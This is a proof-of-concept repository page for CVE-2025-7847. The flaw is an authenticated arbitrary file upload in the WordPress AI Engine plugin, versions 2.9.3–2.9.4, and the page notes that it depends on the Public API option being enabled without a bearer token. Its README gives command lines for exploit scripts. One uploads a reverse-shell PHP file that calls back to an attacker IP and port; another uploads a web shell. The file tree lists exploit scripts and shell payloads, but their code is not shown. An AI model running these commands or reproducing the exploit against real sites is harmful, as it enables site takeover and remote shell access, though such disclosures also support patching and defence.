CVE-2025-7847 PoC — WordPress plugin AI Engine 代码问题漏洞

Source

Associated Vulnerability

Description

Wordpress Plugin AI Engine 2.9.3 - 2.9.4  Proof Of Concept

Readme

# CVE-2025-7847 Wordpress Plugin Authenticated Subscriber Arbitrary File Upload POC
Wordpress Plugin AI Engine 2.9.3 - 2.9.4  Proof Of Concept

Please note that this vulnerability can only be exploited if the “Public API” option is enabled, which is disabled by default, and no Bearer Token is configured, nor is custom authentication added and used to protect the API. 

# Automate Version
```
python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444
```
# Web Shell Upload Only
```
python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php
```

File Snapshot

 [4.0K]  /data/pocs/9ae39d8a8d3fdeafbdb2b0252378296fcc1aea49
├── [4.9K]  exploit-auto.py
├── [1.9K]  exploit-manual.py
├── [4.0K]  exploit.py
├── [ 34K]  LICENSE
├── [ 846]  README.md
├── [  73]  reverse.php
└── [  31]  shell.php

0 directories, 7 files

Remarks